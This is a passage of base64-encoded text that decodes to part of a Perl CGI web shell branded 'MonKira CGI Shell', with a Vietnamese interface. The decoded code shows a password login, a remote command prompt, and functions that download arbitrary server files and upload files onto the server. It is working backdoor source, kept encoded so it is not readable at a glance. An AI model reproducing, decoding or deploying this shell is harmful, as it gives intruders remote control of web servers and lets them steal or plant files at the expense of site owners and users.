tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBBZGRMaW5rRGlyKCQpCnsKCW15ICRhYz1zaGlmdDsKCW15IEBkaXI9KCk7CglpZigkV2luTlQpCgl7CgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsKCX1lbHNlCgl7CgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsKCX0KCW15ICRwYXRoPSIiOwoJbXkgJHJlc3VsdD0iIjsKCWZvcmVhY2ggKEBkaXIpCgl7CgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7CgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UKewoJcHJpbnQgPDxFTkQ7CgoKTeG6rXQga2jhuql1IHNhaSwgTW9uS2lyYSE8YnI+Cjxicj48YnI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgo8c3Ryb25nPsSQxINuZyBuaOG6rXAgTW9uS2lyYSBDR0kgU2hlbGw8L3N0cm9uZz48YnI+IDxicj4KPGI+TeG6rXQgS2jhuql1OjwvYj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTW9uS2lyYSI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPgoJPGZvbnQgY29sb3I9cmVkPj08L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPi0tLSZndDsqICA8Zm9udCBjb2xvcj0jZmY5OTAwPldlbGxjb21lIE1vbktpcmEgPC9mb250PiAgKiZsdDstLS09PC9mb250PjwvY29kZT4KPC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+CjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KI